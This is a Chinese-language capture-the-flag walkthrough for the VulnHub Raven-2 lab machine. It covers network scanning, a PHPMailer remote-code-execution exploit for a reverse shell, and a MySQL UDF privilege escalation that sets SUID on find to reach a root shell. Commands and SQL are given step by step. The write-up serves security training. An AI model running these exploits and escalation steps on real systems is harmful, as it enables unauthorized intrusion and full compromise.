靶机地址

https://www.vulnhub.com/entry/raven-2,269/

flag—1

扫描存活主机
arp-scan -l
image-20230530151117902
通过靶机mac地址判断IP为192.168.75.135然后nmap扫一下,看看开放端口
nmap -A -p- -v 192.168.75.135
image-20230530151136092
三个开放端口,然后dirsearch扫一下目录
image-20230530151147237
访问/vendor存在一个目录遍历漏洞,在PATH下找到flag1
image-20230530151208411

flag—2,3

访问README.md发现存在一个phpmailer服务,并且在VERSION下看的版本为5.2.16搜了一下18以下存在PHPMailer远程命令执行漏洞本来想手工利用,但是失败了,直接利用searchsploit搜索可以利用的漏洞
searchsploit PHPMailer
image-20230530151222302
将python那条exp拷贝出来,然后修改目标地址和反弹shell的地址以及上传的路径

1
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/joker27/桌面

image-20230530151238409
然后执行exp生成后门文件
python 40974.py
image-20230530151254251
监听端口,先访问http://192.168.75.135/contact.php生成后门文件,然后访问后门文件反弹成功
使用python获得一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
查看权限,是一个www-data权限很低
image-20230530151311480
使用命令find / -name "flag*"直接搜索flag,查到flag2和3
image-20230530151323212
flag2直接命令打开就行,flag3是一张图片在web下访问http://192.168.75.135/wordpress/wp-content/uploads/2018/11/flag3.png即可得到,最后一个flag肯定就要提权了

flag–4(udf提权)

以前只了解但是没玩过udf提权也是拿这个靶场练练
使用LinEnum.sh对Linux进行信息搜集,项目地址:https://github.com/rebootuser/LinEnum
利用python起一个临时web服务,python3下运行python -m http.server
服务默认端口8000,利用这个服务将LinEnum.sh文件上传到靶机上运行,这个方法在Vulnhub——Ai-Web1也有运用,不知道的可以参考我前面的文章,然后使用wget远程下载sh文件
image-20230530151348411
然后运行这个文件,需要加权运行

1
2
chmod +x LinEnum.sh
./LinEnum.sh

image-20230530151402551
出来的信息很多,发现mysql是在root下运行的,其实也可以执行命令ps aux | grep root查看以root运行的进程
image-20230530151412795
所以如果数据库版本不是很高(<= 5.7.14,5.6.32,5.5.51)就可以用udf来提权,就下来就是想办法得到数据库版本,最终在如下配置文件得到mysql的账号密码
image-20230530151425953
image-20230530151438618
连接数据库mysql -uroot -pR@v3nSecurity
查询数据库版本
image-20230530151450089
查看 secure_file_priv 的值
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限

1
2
3
4
show global variables like 'secure%';
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时可能也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

image-20230530151509989
可以使用udf提权,并且导出没做限制,kali使用命令searchsploit mysql 找到利用exp
image-20230530151520614
将exp复制生成.so文件

1
2
3
4
5
6
7
8
9
10
cp /usr/share/exploitdb/exploits/linux/local/1518.c //home/joker27/桌面
gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc

参数含义
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

同样用python的临时服务将.so文件上传到靶机,接下来的步骤就是自定义一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
use mysql

//创建一个表并且包含一个blob型(blob型用于储存大型二进制对象)的列
create table foo(line blob);

//将udf.so文件插入表中
insert into foo values(load_file('/var/www/html/udf.so'));

//将二进制数据导出到plugin目录下
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';

//创建自定义函数do_system,类型为integer,别名udf.so
create function do_system returns integer soname 'udf.so';

//查询是否创建成功
select * from mysql.func;

//利用自定义函数改变find命令权限
select do_system('chmod u+s /usr/bin/find');

//使用find提权
touch hello
find hello -exec "/bin/sh" \;

z这里再温习一遍find提权,就是随便查找一个文件,当然这个文件得存在,对查找到的利用参数-exec执行一个shell命令,由于find是以root运行的所以这个shell自然也就是root了
image-20230530151533731